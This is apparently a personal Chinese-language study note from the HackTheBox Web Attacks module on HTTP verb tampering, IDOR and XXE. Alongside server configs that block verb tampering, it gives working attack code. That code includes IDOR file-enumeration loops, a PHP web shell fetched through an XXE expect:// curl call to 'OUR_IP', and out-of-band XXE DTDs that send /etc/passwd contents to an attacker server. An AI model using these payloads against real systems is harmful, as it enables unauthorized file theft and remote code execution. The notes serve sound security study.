HTB渗透学习-WEBATTACKS

WEB ATTACKS

HTTP方法篡改(HTTP Verb Tampering)

HTTP方法有9种,其中PUT和DELETE等方法存在敏感操作

  • PUT:将请求的payload写到指定地方
  • DELETE:删除某个地方的资源
  • OPTIONS:向服务器询问指定资源支持的HTTP方法
  • HEAD:请求资源的响应头信息,而不返回响应体

HEAD方法和GET方法很像,只是返回时不返回服务器的Payload。

示例:只防了GET,没防其他协议:

1
2
3
4
5
6
$pattern = "/^[A-Za-z\s]+$/";

if(preg_match($pattern, $_GET["code"])) {
$query = "Select * from ports where port_code like '%" . $_REQUEST["code"] . "%'";
...SNIP...
}

使用OPTIONS查看目标服务器允许的方法

  • curl -i -X OPTIONS http://SERVER_IP:PORT/

防御方法

  • Apache .htaccess
    1
    2
    3
    4
    5
    6
    7
    8
    <Directory "/var/www/html/admin">
    AuthType Basic
    AuthName "Admin Panel"
    AuthUserFile /etc/apache2/.htpasswd
    <Limit GET>
    Require valid-user
    </Limit>
    </Directory>
  • Tomcat web.xml
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <security-constraint>
    <web-resource-collection>
    <url-pattern>/admin/*</url-pattern>
    <http-method>GET</http-method>
    </web-resource-collection>
    <auth-constraint>
    <role-name>admin</role-name>
    </auth-constraint>
    </security-constraint>
  • ASP.NET
    1
    2
    3
    4
    5
    6
    7
    8
    <system.web>
    <authorization>
    <allow verbs="GET" roles="admin">
    <deny verbs="GET" users="*">
    </deny>
    </allow>
    </authorization>
    </system.web>

“不安全的直接对象引用”(Insecure Direct Object References, IDOR)

大概是“应用程序直接使用用户提供的输入来访问系统对象(如数据库记录或文件),而没有进行适当的访问控制,可能导致未经授权的用户访问或修改敏感数据。”也就是?filename=123.pdf?filename=Admin.pdf都能访问这种

  • Ajax调用:可查看Ajax内容找到可供修改的地方
  • 文件名或其它资源的Hash/编码可破译(如?filename=ZmlsZV8xMjMucGRm就是?filename=file_123.pdf

枚举文件

假设现有一个网页documents.php,其点击链接可以下载内容,Render后的HTML页面是这样的,每个页面有一个Invoice和一个Report:

1
2
<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>

使用CURL下载后,可以通过唯一指定标识进行grep定位
curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li class='pure-tree_link'>"

进一步,使用正则定位pdf文件的内容
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"

/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf

最后使用for循环遍历所有uid,获取所有页面的链接

1
2
3
4
5
6
7
8
9
#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
wget -q $url/$link
done
done

POST的话,可以使用curl -X POST来指定请求方式

轻度hash:JS逆向

一些文件是前端加密的,故可以通过逆向JS实现文件名破译

如,一个先base64再md5 hash后的内容就可以这样枚举:

1
2
3
4
5
6
7
8
9
#!/bin/bash

url="http://83.136.255.40:37688/download.php?contract="

for i in {1..20}; do
for bi in $(echo -n $i | base64 -w 0 ); do
curl -sOJ $url$bi
done
done
  • -s:表示静默模式(silent),它会隐藏进度信息和错误信息,保证执行时不输出多余的内容。
  • -O:告诉 curl 下载服务器响应的内容并保存为远程服务器的文件名。也就是说,它会根据服务器返回的文件名将文件保存到本地。
  • -J:启用内容处置(Content-Disposition)头的处理。如果服务器通过 Content-Disposition 头返回了一个文件名,curl 将使用这个文件名来保存下载的文件(与 -O 结合使用时)。

XML外部实体注入(XXE)

工具:XXEinjector

简单的XXE测试

假设现有一个登录界面传送的是XML格式的内容,并且存在回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
```
### DTD 与 XML语言规范
该节引用[这篇文章](https://teamssix.com/191209-192903)
``` XML
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,文档类型声明-->
<!DOCTYPE note [ <!-- #定义此文档是note类型 -->
<!ELEMENT note (body)> <!--#定义note元素有一个元素:"body" -->
<!ELEMENT body (#PCDATA)> <!-- #定义body元素为"#PCDATA"类型 -->
<!ENTITY writer "hello world"> <!-- #定义一个内部实体 -->
]>
<!--文档元素-->
<note>
<body>&writer;</body>
</note>
  • &writer;实体引用了定义的内部实体,输出时即输出”hello world”
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [
<!ELEMENT foo ANY > <!-- #定义元素为ANY,即可以接受任何元素。 -->
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> <!-- 定义一个名为 'xxe' 的外部实体,引用系统中的文件 -->
<root>
<body>&xxe;</body> <!-- 在 'body' 标签中引用这个外部实体 'xxe' -->
</root>
  • DOCTYPE定义了一个文档类型foo,并且在内部声明了一个外部实体xxe。
  • SYSTEM 标志表示这是一个外部实体,并引用系统中的一个外部资源(在这种情况下是本地文件系统中的文件)

使用XXE RCE

  • 找到SSH密钥
  • (Windows)偷密码的hash
  • 使用php://expect的filter(需要启用PHP expect的模组)
    • 通过这种方式写马:
    • 在VPS上放马
      • echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
      • sudo python3 -m http.server 80
    • 构造XXE,使其下载马(使用$IFS等避免破坏XML语法)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      <?xml version="1.0"?>
      <!DOCTYPE email [
      <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
      ]>
      <root>
      <name></name>
      <tel></tel>
      <email>&company;</email>
      <message></message>
      </root>
    • 之后访问shell.php即可

使用XXE来SSRF

使用CDATA 及 XML参数实体(XML Parameter Entities)

在XML中,CDATA(Character Data,字符数据)是一种用于表示原始文本数据的方式,告诉XML解析器该段数据不应被解析为XML标记。CDATA块中的内容会被解析器忽略为普通字符,而不是作为XML标签或实体处理。

要输出不符合 XML 格式的数据,我们可以用 CDATA 标记(如 <![CDATA[ FILE_CONTENT ]]>)来封装外部文件引用的内容。这样,XML 解析器就会认为这部分是原始数据,可以包含任何类型的数据,包括任何特殊字符。

给靶机的request:

1
2
3
4
5
6
7
8
9
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
<!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
<!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
%xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->

恶意VPS上的evil.dtd:

1
<!ENTITY joined "%begin;%file;%end;">
  • 原理是,joined 实体将 begin(CDATA 开始)、file(文件内容)和 end(CDATA 结束)组合在一起。当解析器遇到 &joined; 时,它实际上会将其解析为:<![CDATA[文件内容]]>

XXE盲注 / 基于错误的注入

可以通过删除XML标签诱导报错,然后通过返回的内容得知web根目录路径等内容

首先,VPS托管一个dtd文件xxeerror.dtd

1
2
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">

当报错时,%nonExistingEntity;是不存在的,但是同样会引入%file;实体。

这个时候在抓包改包或者输入其他payload的时候引入外部实体即可

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://10.10.16.223:9999/xxeerror.dtd">
%remote;
%error;
]>
<root>
<name>1</name>
<tel>321321</tel>
<email>2@2.com</email>
<message>321321</message>
</root>

XXE盲注

OOB(out-of-band)数据传输的一种方式:

基于HTTP

使用HTTP GET方式把内容带出来,在VPS上创一个dtd文件:

1
2
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

VPS端创一个HTTP Server(使用PHP)

1
2
3
4
5
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>

直接开始这个Server即可php -S 0.0.0.0:8000

然后发送payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>

基于DNS

也可基于DNS带出来

自动外带XXE

使用XXEINJECT工具